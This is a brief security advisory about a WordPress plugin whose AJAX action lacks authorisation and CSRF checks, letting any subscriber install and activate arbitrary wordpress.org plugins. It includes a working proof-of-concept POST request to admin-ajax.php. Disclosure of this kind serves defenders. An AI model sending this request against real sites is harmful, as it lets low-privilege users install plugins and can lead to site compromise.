The plugin does not have proper authorisation and Cross-Site Request Forgery (CSRF) check in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress.org repository.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=wpmemory_install_plugin&slug=classic-editor